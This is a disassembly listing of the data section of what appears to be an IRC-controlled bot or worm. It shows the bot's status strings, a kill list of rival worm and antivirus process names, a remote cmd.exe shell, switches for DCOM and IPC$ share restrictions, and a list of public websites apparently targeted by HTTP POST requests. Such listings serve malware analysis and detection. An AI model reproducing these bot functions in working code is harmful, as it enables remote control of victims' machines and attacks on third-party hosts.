		align 4
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_41889B+2ECo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41889B+317o
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_41889B+33Fo
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_41889B+36Ao
		align 4
unk_44E548	db    2			; DATA XREF: sub_41889B+394o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2UserInfoError	db '2 user info error <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_418C69+29o
unk_44E5A8	db    2			; DATA XREF: sub_418C69+F7o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2AnAccessViola	db '2 an access violation has occured',0
		align 4
aS_34		db '  %S',0             ; DATA XREF: sub_418C69+BEo
		align 4
unk_44E5F4	db    2			; DATA XREF: sub_418C69+7Ao
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2UserListError	db '2 user list error %s <%ld>',0
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_418C69+14Fo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_418DE9:loc_418E4Co
		align 4
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_418DE9:loc_418E8Do
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_418DE9:loc_418E56o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_418DE9+3Bo
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_418DE9:loc_418E42o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_418DE9:loc_418E38o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_418DE9:loc_418E2Eo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_418DE9:loc_418EF8o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_418DE9+89o
		align 10h
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_418DE9:loc_418E7Co
		align 4
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_418DE9:loc_418E86o
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_418DE9:loc_418EF1o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_418DE9+CFo
		db ' the domain.',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_418DE9:loc_418EC6o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_418DE9:loc_418EBFo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_418DE9:loc_418ECDo
		db 'ord policy requirement.)',0
		align 4
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_418DE9:loc_418F06o
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_418DE9:loc_418E94o
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_418DE9:loc_418EFFo
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_418DE9:loc_418EEAo
		align 4
unk_44E908	db    2			; DATA XREF: seg000:00418F9Eo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2MessageSentSu	db '2 message sent successfully',0
		align 4
dword_44E948	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 651F024Eh
					; DATA XREF: seg000:00418FC8o
		dd 254021Fh, 2C313003h,	3A353103h, 25203203h, 34032073h
		dd 76726553h, 3A037265h, 20532520h, 654D3403h, 67617373h
		dd 203A0365h, 5325h
dword_44E98C	dd 7530h	off_44E990	dd offset dword_44E9F0	; DATA XREF: sub_419046+CBo
		dd offset dword_44E9FC
		dd offset dword_44EA0C
		dd offset dword_44EA18
		dd offset dword_44EA24
		dd offset dword_44EA30
		dd offset dword_44EA3C
		dd offset dword_44EA4C
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aMsblast_exe	; "MSBLAST.exe"
		dd offset aTeekids_exe	; "teekids.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
; ---------------------------------------------------------------------------
		add	al, 0EBh
		inc	esp
		add	[eax], dl
		jmp	short loc_44EA2B
; ---------------------------------------------------------------------------
		align 4
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
dword_44E9F0	dd 65676572h, 2E746964h, 657865h					; seg002:off_44E990o
dword_44E9FC	dd 6F63736Dh, 6769666Eh, 6578652Eh, 0dword_44EA0C	dd 7374656Eh, 2E746174h, 657865hdword_44EA18	dd 6C62736Dh, 2E747361h, 657865hdword_44EA24	dd 7270617Ah			db 6Fh,	2Eh, 65h
; ---------------------------------------------------------------------------


loc_44EA2B:				; CODE XREF: seg002:0044E9E5j
		js	short near ptr aSysinfo_exe+0Ah
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_44EA30	dd 7776616Eh, 652E3233h, 6578hdword_44EA3C	dd 6176616Eh, 32337770h, 6578652Eh, 0dword_44EA4C	dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65haWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: seg002:0044E9B0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: seg002:0044E9B4o
		align 4
aSysinfo_exe	db 'sysinfo.exe',0      ; CODE XREF: seg002:loc_44EA2Bj
					; DATA XREF: seg002:0044E9B8o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: seg002:0044E9BCo
aMsblast_exe	db 'MSBLAST.exe',0      ; DATA XREF: seg002:0044E9C0o
aTeekids_exe	db 'teekids.exe',0      ; DATA XREF: seg002:0044E9C4o
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: seg002:0044E9C8o
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: seg002:0044E9CCo
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: seg002:0044E9D0o
		align 10h
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: seg002:0044E9D4o
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: seg002:0044E9D8o
		align 4
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: seg002:0044E9DCo
		align 4
aRate_exe	db 'rate.exe',0
		align 10h
aD3dupdate_exe	db 'd3dupdate.exe',0
		align 10h
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: seg002:0044E9E8o
		align 4
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: seg002:0044E9ECo
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_419046+5Ao
		align 10h
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419046+17Do
		align 4
aSD_1		db ' %s (%d)',0         ; DATA XREF: sub_419046+18Bo
		align 4
aSD_2		db ' %s (%d)',0         ; DATA XREF: sub_419046+19Fo
		align 4
aSedebugprivi_0	db 'SeDebugPrivilege',0 ; DATA XREF: sub_419046+207o
		align 4
dword_44EB88	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 2720250h
					; DATA XREF: sub_419289+19o
		dd 263026Fh, 30030273h,	31032C32h, 32035D35h, 26C0220h
		dd 2730269h, 6E026974h,	2206702h, 6F720250h, 65026302h
		dd 2730273h, 3A7365h
dword_44EBCC	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 2720250h
					; DATA XREF: sub_419289+80o
		dd 263026Fh, 30030273h,	31032C32h, 32035D35h, 2500220h
		dd 63026F72h, 73026502h, 2207302h, 269026Ch, 20740273h
		dd 6F024302h, 270026Dh,	7402656Ch, 6502h
dword_44EC18	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 2720250h
					; DATA XREF: sub_419289:loc_419310o
		dd 263026Fh, 30030273h,	31032C32h, 32035D35h, 2500220h
		dd 63026F72h, 73026502h, 2207302h, 269026Ch, 20740273h
		dd 61024602h, 6C026902h, 64026502h, 0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:00419459o
aS_24		db '%s',0               ; DATA XREF: seg000:loc_419472o
		align 4
		dd 35310302h, 25B302Ch,	91323003h, 2343003h, 24D0263h
		dd 30030264h, 31032C32h, 32033A35h, 756F4320h, 6E20646Ch
		dd 7220746Fh, 20646165h, 61746164h, 6F726620h, 7270206Dh
		dd 6563636Fh, 0A0D7373h, 0
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  63h	; c
		db 2, 4Dh, 2
		db  64h	; d
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 3Ah,	3, 32h
aProccessHasTer	db ' Proccess has terminated.',0Dh,0Ah,0
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  63h	; c
		db 2, 4Dh, 2
		db  64h	; d
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 3Ah,	3, 32h
aCouldNotReadDa	db ' Could not read data from proccess.',0Dh,0Ah,0
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_419602+20o
unk_44ED4C	db    2			; DATA XREF: sub_419602+150o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  63h	; c
		db 2, 4Dh, 2
		db  64h	; d
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 3Ah,	3, 32h
aRemoteCommandP	db ' Remote Command Prompt',0
		align 4
unk_44ED84	db    2			; DATA XREF: sub_419602+198o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  63h	; c
		db 2, 4Dh, 2
		db  64h	; d
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 3Ah,	3, 32h
aFailedToStartI	db ' Failed to start IO thread, error: <%d>.',0
		align 10h
off_44EDD0	dd offset dword_44EDF0	; DATA XREF: seg000:004199CDo
					; seg000:00419CB7o
		align 8
		dd offset dword_44EDF8
		align 10h
off_44EDE0	dd offset dword_44EE00	; DATA XREF: seg000:00419D1Fo
		dd offset dword_44EE04
		dd offset dword_44EE08
		dd offset dword_44EE0C
dword_44EDF0	dd 24435049h, 0						; seg002:off_44EDD0o
dword_44EDF8	dd 494D4441h, 244Ehdword_44EE00	dd 2443h	dword_44EE04	dd 5C3A43h	dword_44EE08	dd 2444h	dword_44EE0C	dd 5C3A44h	word_44EE10	dw 4Eh			; DATA XREF: seg000:00419852r
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: seg000:0041986Eo
		align 10h
unk_44EE20	db    2			; DATA XREF: seg000:00419880o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aDisableDcomFai	db 'Disable DCOM failed.',0
		align 10h
dword_44EE60	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 651F0253h
					; DATA XREF: seg000:loc_419887o
		dd 263021Fh, 65720275h,	31300302h, 3531032Ch, 2032033Ah
		dd 4D4F4344h, 73696420h, 656C6261h, 2E64h
unk_44EE98	db    2			; DATA XREF: seg000:004198ABo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToOpenDc	db 'Failed to open DCOM registry key.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: seg000:00419907o
		align 4
unk_44EEF8	db    2			; DATA XREF: seg000:00419920o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToRestri	db 'Failed to restrict access to the IPC$ Share.',0
		align 10h
unk_44EF50	db    2			; DATA XREF: seg000:loc_419927o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aRestrictedAcce	db 'Restricted access to the IPC$ Share.',0
		align 10h
unk_44EFA0	db    2			; DATA XREF: seg000:loc_419945o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToOpenIp	db 'Failed to open IPC$ Restriction registry key.',0
		align 4
unk_44EFF8	db    2			; DATA XREF: seg000:loc_41994Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aAdvapi32_dllCo	db 'Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_44F044	db    2			; DATA XREF: seg000:00419A75o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aShareSDeleted_	db 'Share ',27h,'%S',27h,' deleted.',0
unk_44F080	db    2			; DATA XREF: seg000:loc_419A7Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToDelete	db 'Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_44F0C8	db    2			; DATA XREF: seg000:004199E2o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aShareSDelete_0	db 'Share ',27h,'%s',27h,' deleted.',0
unk_44F104	db    2			; DATA XREF: seg000:loc_4199E9o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToDele_0	db 'Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_44F14C	db    2			; DATA XREF: seg000:00419AE9o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aNetworkSharesD	db 'Network shares deleted.',0
unk_44F18C	db    2			; DATA XREF: seg000:00419AFFo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aNetapi32_dllCo	db 'Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
word_44F1D8	dw 59h			; DATA XREF: seg000:00419B76r
		align 4
aEnabledcom_0	db 'EnableDCOM',0       ; DATA XREF: seg000:00419B92o
		align 4
unk_44F1E8	db    2			; DATA XREF: seg000:00419BA4o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aEnableDcomFail	db 'Enable DCOM failed.',0
dword_44F224	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 651F0253h
					; DATA XREF: seg000:loc_419BABo
		dd 263021Fh, 65720275h,	31300302h, 3531032Ch, 2032033Ah
		dd 4D4F4344h, 616E6520h, 64656C62h, 2Eh
unk_44F25C	db    2			; DATA XREF: seg000:00419BCFo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToOpen_0	db 'Failed to open DCOM registry key.',0
		align 4
aRestrictanon_0	db 'restrictanonymous',0 ; DATA XREF: seg000:00419C2Bo
		align 4
unk_44F2BC	db    2			; DATA XREF: seg000:00419C40o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToUnrest	db 'Failed to unrestrict access to the IPC$ Share.',0
		align 4
unk_44F314	db    2			; DATA XREF: seg000:loc_419C47o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aUnrestrictedAc	db 'Unrestricted access to the IPC$ Share.',0
		align 4
unk_44F364	db    2			; DATA XREF: seg000:loc_419C65o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToOpen_1	db 'Failed to open IPC$ restriction registry key.',0
		align 4
unk_44F3BC	db    2			; DATA XREF: seg000:loc_419C6Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aAdvapi32_dll_0	db 'Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_44F408	db    2			; DATA XREF: seg000:00419CD0o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aShareSAdded_	db 'Share ',27h,'%s',27h,' added.',0
		align 4
dword_44F444	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 651F0253h
					; DATA XREF: seg000:loc_419CD7o
		dd 263021Fh, 65720275h,	31300302h, 3531032Ch, 2032033Ah
		dd 6C696146h, 74206465h, 6461206Fh, 25272064h, 73202773h
		dd 65726168h, 2Eh, 246325h, 5C3A6325h, 0
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aShareSAdded__0	db 'Share ',27h,'%s',27h,' added.',0
		align 10h
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFailedToAddSSh	db 'Failed to add ',27h,'%s',27h,' share.',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aNetworkSharesA	db 'Network shares added.',0
		align 4
unk_44F554	db    2			; DATA XREF: seg000:00419E16o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 63h, 2
		db  75h	; u
		db 2, 72h, 65h
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aNetapi32_dll_1	db 'Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_419E6F+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
asc_44F5D4	db 0Dh,0Ah,0		; DATA XREF: sub_419E6F+F2o
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: seg000:0041A05Fo
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: seg000:0041A066o
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: seg000:0041A06Do
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: seg000:0041A074o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: seg000:0041A07Bo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: seg000:0041A082o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: seg000:0041A089o
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: seg000:0041A090o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: seg000:0041A097o
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: seg000:0041A09Eo
		align 4
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: seg000:0041A0A5o
		align 4
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: seg000:0041A0ACo
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: seg000:0041A0B3o
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: seg000:0041A0BAo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: seg000:0041A0C1o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: seg000:0041A0C8o
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: seg000:0041A0CFo
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: seg000:0041A0D6o
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: seg000:0041A0DDo
		align 4
aWww_google_com	db 'www.google.com',0   ; DATA XREF: seg000:0041A0E4o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: seg000:0041A0EBo
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: seg000:0041A0F2o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: seg000:0041A0F9o
		align 4
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: seg000:0041A100o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: seg000:0041A107o
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: seg000:0041A10Eo
		align 4
dword_44F784	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 2700253h
					; DATA XREF: seg000:0041A1F1o
		dd 651F0265h, 5402641Fh, 74736502h, 2C323003h, 3A353103h
		dd 2203203h, 6F727545h,	3A026570h, 20642520h, 7469626Bh
		dd 220732Fh, 2415355h, 6425203Ah, 69626B20h, 20732F74h
